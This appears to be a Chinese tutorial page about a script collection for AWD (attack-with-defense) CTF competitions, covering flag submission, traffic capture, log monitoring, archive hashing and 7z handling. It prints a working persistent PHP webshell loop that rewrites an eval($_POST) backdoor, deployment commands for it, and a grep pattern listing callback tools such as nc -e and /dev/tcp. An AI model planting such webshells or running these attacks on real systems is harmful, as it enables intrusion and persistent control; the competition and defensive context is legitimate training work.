简介:这份AWD攻防赛脚本集合面向CTF/AWD竞赛选手、安全爱好者及战队成员,针对攻防对抗中常见的批量攻击、权限维持、文件上传与日志审计需求,提供可落地的脚本与工具,可用于赛前模拟和实战快速响应。压缩包共包含33个文件,涵盖12个Python脚本、6个PHP脚本、部分pyc编译文件,以及txt备忘、rar辅助工具和exe程序,整体仅3.14MB,轻量且便于赛前快速部署。内容覆盖从攻击到防守的完整链路,如批量生成不死马、上传shell获取Flag、WAF防护、Linux文件监控与Web日志分析工具等,不少脚本支持直接运行或二次修改,也可根据规则自行调整,适合作为个人AWD工具箱的基础模块。目前已有407人学习使用,适合希望在短时间内掌握AWD攻防节奏、提升对抗效率的选手参考借鉴。
1. AWD 攻防赛脚本集合是什么:不只是一堆 py 文件
AWD(Attack With Defense,攻防兼备)赛制里,真正拉开差距的不是某个 0day,而是开局前五分钟你有没有趁手的脚本。很多队伍下载了一个名为AWD攻防赛脚本集合.7z的压缩包,解压之后看到十几个.py、.sh、.php文件,却不知道先跑哪个、改哪个参数、哪些脚本其实已经过时甚至带毒。这里的核心问题不是“你有没有脚本”,而是“你能不能在三分钟内把脚本改到适配当前靶机”。本文只讲两件事:这个压缩包里通常装了什么,以及你拿到之后应该怎么处理、怎么改、怎么在真实回合里用起来。适合即将参加高校 AWD 或国企 CTF 内部赛的选手,也适合想从零维护一套自己脚本库的蓝队同学。
2. 脚本集合的组成:批量提交、不死马、流量监控与 getshell 工具
2.1 先拆开看:典型的 AWD 脚本集里有什么
一份比较完整的 AWD 脚本集合,常见的目录结构如下:
AWD-scripts/ ├── flag_submit/ │ ├── submit_all.py # 批量提交 flag │ └── config.ini # 提交地址、token、目标列表 ├── webshell/ │ ├── shell.php # 常见一句话木马 │ ├── memshell/ # 不死马变种 │ └── waf_bypass/ # 绕过函数字典 ├── monitor/ │ ├── tcpdump_capture.sh # 流量抓取脚本 │ └── log_watcher.py # 日志监控,检测对手攻击路径 ├── exploit/ │ ├── get_flag.py # 批量利用某漏洞获取 flag │ ├── upload_shell.py # 批量上传木马 │ └── pwn_tools.py # 远程命令执行封装 └── utils/ ├── ssh_brute.py # 弱口令批量尝试 └── hash_check.py # 文件哈希校验,找后门这里最关键的是flag_submit和monitor两个目录。很多新手把精力全放在 exploit 上,但 AWD 的得分公式是防守分 * 回合数 + 攻击分,防守分靠的是你服务不掉线、flag 没被拿走、不死马持续存活。flag_submit负责把每次攻击拿到的 flag 自动提交到平台,省去手动复制粘贴的 3 秒时间;monitor负责在对手打进来的时候留下记录,便于赛后复盘——但它的即时价值在于:你从日志里看到的攻击 payload,就是下一回合攻击别人最有效的武器。
2.2 批量 flag 提交脚本:参数和逻辑不要只改地址
submit_all.py一般长这样:
import requests import re import time from configparser import ConfigParser config = ConfigParser() config.read('config.ini') submit_url = config.get('submit', 'url') token = config.get('submit', 'token') target_file = config.get('submit', 'target_file') flag_pattern = re.compile(r'flag\{[a-zA-Z0-9_-]+\}') def submit_flag(flag): try: r = requests.post(submit_url, data={'token': token, 'flag': flag}, timeout=5) if r.status_code == 200 and 'success' in r.text: print(f"[+] {flag} 提交成功") return True else: print(f"[-] {flag} 提交失败: {r.text[:80]}") except Exception as e: print(f"[!] 提交异常: {e}") return False def main(): with open(target_file, 'r') as f: for line in f: line = line.strip() if not line: continue # 从每个目标返回的内容里提取 flag result = fetch_target(line) match = flag_pattern.search(result) if match: submit_flag(match.group()) time.sleep(0.5) # 避免触发频率限制 if __name__ == '__main__': main()这段代码有几个必须改的参数,不光是 URL:
timeout=5是 HTTP 请求超时,回合后期平台负载高,建议调到 10,否则大量请求会误报失败。time.sleep(0.5)是提交间隔,比赛平台一般有频率限制,实测 0.3~0.5 秒比较安全,低于 0.1 秒会被封 token。target_file是目标列表,通常每行一个 IP:端口。注意有些 AWD 平台用域名堡垒机访问靶机,这里要写内网域名而不是 IP。
fetch_target函数在各个队伍里差异很大,有的是直接requests.get打一个已知 RCE 的 URL,有的是用 pwn 库发一段 payload 交互式拿返回。建议把它单独抽出来,因为这可能是你唯一需要每场都改的地方。
2.3 不死马和流量监控:最容易在赛后留下一地鸡毛的脚本
不死马(常驻内存的 PHP webshell)是 AWD 里最出名的脚本之一。常见写法是while(true)循环加usleep,每几毫秒把木马写回服务器。这里有个常见的致命误用:很多脚本集合里的不死马根本没改文件名和密码,所有队伍都拿着同样的x.php?pass=cmd在互相打。正确做法至少是:
<?php @ignore_user_abort(true); @set_time_limit(0); $file = '/tmp/.'.md5('teamA').'.php'; // 文件名带自己队伍标识 $content = '<?php @eval($_POST[md5("teamA")]); ?>'; // 密码也带标识 while(1){ @file_put_contents($file, $content); @chmod($file, 0644); usleep(300000); // 0.3 秒写一次 clearstatcache(); } ?>注意这里故意没用unlink(__FILE__),因为大部分脚本集合的源码里这一行是坏的——删了源文件后 PHP 解释器会继续执行内存中的代码,但很多环境配置了open_basedir或禁用了解释型写入,导致不死马一旦写入失败就彻底没了。我一般建议先测试一次写入是否成功,再决定要不要加自删除逻辑。
流量监控的脚本反而是整套集合里最值得保留的。tcpdump_capture.sh通常长这样:
#!/bin/bash IFACE=${1:-eth0} OUTDIR=/tmp/traffic mkdir -p $OUTDIR tcpdump -i $IFACE -w $OUTDIR/capture_$(date +%s).pcap -z gzip -G 60-G 60表示每 60 秒生成一个新文件,-z gzip是转储后自动压缩。这个设计的价值在于回放:比赛结束后你可以用tcpdump -r capture.pcap -A | grep -E "flag|cmd|pass"查看对手的攻击方式。但要注意-z参数在部分老版本 tcpdump 里不存在,如果报错就换成-C 100按文件大小切割,或者去掉-z手动 gzip。
3. 拿到文件先做这四件事:解压、哈希校验、危险脚本排查与加固
3.1 Linux 下解压 7z 文件:先确认装了 p7zip
很多人用tar -xf去解.7z,然后报错,这不是你命令写错了,是工具不对。7z 格式需要 p7zip 或者 7zip,Debian/Ubuntu 系统安装后直接解压:
# 安装 p7zip-full(包含 7z 和 7za 两个命令) sudo apt-get install -y p7zip-full # 进入压缩包所在目录,先用 l 参数看内容,别急着解 7z l AWD攻防赛脚本集合.7z # 正式解压,保留目录结构 7z x AWD攻防赛脚本集合.7z -o/nopt/awd_scripts # 如果压缩包加密了(AWD 群里常见:密码分享到一半撤回) 7z x AWD攻防赛脚本集合.7z -p'password_placeholder'命令说明:7z l只是列出压缩包内容,方便你确认里面有没有隐藏目录或伪装文件;-o指定输出目录,注意-o后紧跟路径、没有空格,这是 7z 命令行最容易被坑的参数写法。如果解压时报Cannot open file as archive,先用file AWD攻防赛脚本集合.7z看文件头,常见原因是文件在传输过程中被截断或加上了下载工具的后缀后缀。
Windows 环境下也可以用 7-Zip 的图形界面直接解压,但如果你想在自动化流程里校验内容,建议用 7z.exe 命令行:
# 在 Windows PowerShell 中(假设 7z.exe 在 C:\Program Files\7-Zip\) & 'C:\Program Files\7-Zip\7z.exe' t 'D:\downloads\AWD攻防赛脚本集合.7z' & 'C:\Program Files\7-Zip\7z.exe' x 'D:\downloads\AWD攻防赛脚本集合.7z' -o'D:\awd_scripts't是 test 参数,只检查压缩包完整性,不解压。这一步很值得做——AWD 群里传的压缩包很多是用zip -P或 7z 加密后二次传播的,偶尔会碰到文件损坏或被人塞了私货的情况,先 test 再解压能省掉很多 debug 时间。
3.2 7z 压缩文件获取哈希值:传到靶机前先留底
AWD 脚本集合经常要被传到多台靶机上。这里有一件很多人不做但值得做的事:解压前先记录哈希值。因为 7z 文件本身是二进制的,你在宿主机的 Python 环境里可以直接用hashlib计算,不需要装额外工具:
import hashlib import sys filename = 'AWD攻防赛脚本集合.7z' sha256 = hashlib.sha256() sha1 = hashlib.sha1() md5 = hashlib.md5() with open(filename, 'rb') as f: while True: chunk = f.read(65536) # 64KB 缓冲,避免大文件占满内存 if not chunk: break sha256.update(chunk) sha1.update(chunk) md5.update(chunk) print(f'SHA256: {sha256.hexdigest()}') print(f'SHA1: {sha1.hexdigest()}') print(f'MD5: {md5.hexdigest()}')为什么是 64KB 分块读取而不是一次性f.read()?AWD 脚本集一般只有几 MB,一次性读也没问题,但如果你养成了分块的习惯,以后处理抓到的 pcap 流量包或加密容器镜像时就不会爆内存。拿到哈希后,在靶机上比对文件完整性用:
sha256sum AWD攻防赛脚本集合.7z md5sum AWD攻防赛脚本集合.7z记录哈希的核心动机不只是防传输错误,更多是防对手的投毒:AWD 赛场上经常有人故意把带有后门的“脚本集”传到公共共享目录,别人一解压执行,flag 就被自动偷走。自己传文件之前先算好哈希,等比赛结束再对比一次,能确认靶机上跑的东西是不是自己传上去的那份。
3.3 危险脚本排查:去掉密码、回调地址和自删除逻辑
解压之后不要直接在比赛环境里运行全部脚本。你首先要做的是 grep 一遍,把可能对你产生反噬的代码找出来:
grep -rn "curl\|wget\|bash\|nc -e\|/dev/tcp" --include="*.sh" --include="*.py" . grep -rn "http://\|https://" --include="*.php" --include="*.py" . grep -rn "eval\|assert\|base64_decode" --include="*.php" .第一行查外部回连:如果脚本里有curl http://xxx或者nc -e /bin/sh,说明这个脚本可能在拿到 shell 后把数据发给第三方,而不是发给你。第二行查硬编码 URL,很多脚本集把上一场比赛的平台地址写死在代码里,你如果不改就直接用,flag 提交会全部落到别人的账号。第三行查 PHP 危险函数,对不上本地环境版本的话极容易直接报 500。
需要用到的参数:
-r递归搜索目录-n显示行号,方便定位--include限定文件后缀,避免匹配到压缩包里的二进制
这里的加固逻辑是:你拿到的脚本集合是“上一个人的现场”,不是“你本场的地基”。把密码改掉、把提交地址改掉、把回调地址删掉,三元组缺一不可。
3.4 7z 命令行加密:自己分发脚本时的配置一致性
如果你准备把自己的脚本打包给队员,或者赛后提交给组委会,可以用 7z 命令行加密,保证配置文件和密码不会在传输过程中裸奔:
# 加密压缩,密码用 AES-256,文件名也加密 7z a -t7z -m0=lzma2 -mx=9 -mhe=on -p'YourNewPass' my_awd_tools.7z ./AWD-scripts/参数拆解:
-m0=lzma2使用 LZMA2 算法,压缩率比默认的 LZMA 更高,适合文本为主的脚本文件-mx=9最大压缩级别,脚本集合体积小,不操心压缩时间-mhe=on加密文件头,这样7z l列不出内部文件名,只有输入密码才能看到目录结构-p后直接跟密码,注意密码里有特殊字符时用单引号包裹防止 shell 展开
这个命令不是为了生产环境的安全,而是为了“在多台靶机之间传配置”时不至于明文泄露账号密码。记住一件事:7z 的加密强度取决于密码复杂度,不要用123456或队伍名,否则等于没加密。
4. 攻防回合实战:用脚本顶住前三个 flag 周期
4.1 开局前 5 分钟:按优先级部署三个脚本
AWD 通常是每 5 分钟或 10 分钟一个回合,开局前 5 分钟有三种脚本必须跑起来,优先级从高到低是:不死马 → 流量监控 → 批量提交脚本。为什么不死马排第一?因为对方先手拿到的 webshell 会在前几个回合反复删除你的文件,而一旦你的不死马先跑起来,删掉的文件会自动回写,至少能让对手多花一轮时间干这件事情。
# 部署不死马:把 shell.php 改名为不容易被扫到的名字 mv /tmp/awd_scripts/webshell/shell.php /var/www/html/.index.php # 在本地启动不死马(用 nohup 防止 ssh 断开后进程退出) nohup php /var/www/html/.index.php > /dev/null 2>&1 & # 确认进程存活,看到 PID 才说明跑起来了 ps aux | grep php提示:很多靶机的 web 目录有写入权限限制,nohup跑不起来的时候先测ls -la看目录属主和写权限,别急着改脚本。
4.2 回合中段:监控日志自动定位攻击路径
flag 周期的中段是最容易被偷家的时间。此时你的tcpdump应该已经跑了三四分钟,手动去翻 pcap 不是好选择,更实际的做法是监控 web 日志:
# 监听实时日志,过滤常见攻击特征 tail -f /var/log/apache2/access.log | grep -E "eval|base64|cmd|cat /flag|system\("如果日志里出现了?cmd=id这种请求,说明对手已经打进来了。这时候你需要的不是去杀进程,而是顺着这个 payload 在tcpdump的 pcap 里找同源的攻击包:
tcpdump -r /tmp/traffic/capture_*.pcap -A | grep -E "pass|cmd|whoami"用比赛中保存的 pcap 回放对手的指令轨迹,往往能直接看到对方用的 webshell 密码和路径,顺手就能回去打他同款漏洞。
4.3 回合轮转:批量提交和批量利用的节奏控制
AWD 的得分点是“每回合结束前必须提交 flag”,而提交脚本的常见问题是跑得太快,第一个回合就把所有攻击方法都用了一遍,结果后半场无攻击手段可用,只能干守。我一般把 attack 分三轮:
# 第一轮:只打脚本包里默认的弱口令 + 常见 RCE python3 exploit/get_flag.py --targets targets.txt --method default # 第二轮:补上从对方日志里学到的 payload python3 exploit/get_flag.py --targets targets.txt --method from_log # 第三轮:回到监控,看哪些目标被我们打穿但服务还在 python3 monitor/log_watcher.py --check-alive这样的节奏变化是为了让对手摸不到你的攻击模式。脚本get_flag.py里通常会有一个 method 参数分发,如果你自己改的脚本没有这个参数,就用环境变量代替:
export TARGET_MODE=aggressive python3 exploit/get_flag.py环境变量比命令行参数好在:多个脚本共用一个配置时,不会出现参数传错导致 flag 提交到错误平台的情况。
5. 把脚本集合改造成自己的目录与配置:拿到二次传播的压缩包也不慌
AWD 脚本集合真正有用的价值在于它的目录结构和参数位点,而不是某一行具体的 exploit。你要做的是把这个压缩包当作种子,按照自己的习惯重新组织目录,并固化一套更新的命令流。
一个常被忽视的技巧是把每个脚本的配置项统一到一个 config.ini 中,而不是散落在每个文件的顶部常量里。因为比赛现场你不可能一边敲vim一边找变量,统一配置意味着只需改一次:
[submit] url = http://10.0.0.2:8000/flag token = teamA_token_here target_file = targets.txt interval = 0.4 [monitor] pid_file = /tmp/awd_monitor.pid pcap_dir = /tmp/traffic log_path = /var/log/apache2/access.log [compress] password = S3cure_AwD_7z backup_name = backup_awd_scripts.7z然后写一个reload_config.py脚本在所有工具执行前读取该配置,这样你换比赛时不会再犯“改了提交地址却忘了改密码”的错。
我也建议在本地准备一个最小化自测脚本,专门用来验证压缩包里的工具没有依赖缺失:
python3 -c "import requests, paramiko, hashlib; print('deps ok')" php -m | grep -E "sockets|curl|pdo"把这个验证命令写进.bashrc或做成pre_check.sh,赛前跑一遍,三秒钟排查掉依赖问题,比到现场才发现 Python 环境缺库要高效得多。
最后值得一提的是:拿到任何别人的脚本包,第一时间用 7z 重新压一份带时间戳的版本:
date_str=$(date +%Y%m%d_%H%M) 7z a -t7z -mx=5 -p'存档密码' awd_backup_${date_str}.7z ./AWD-scripts/这份归档的哈希值记在你的答题记录或备忘录里,用于赛后对比靶机文件是否被对手篡改。AWD 拼到最后一小时,拼的就是谁的文件更干净、谁的回滚更快。
本文还有配套的精品资源,点击获取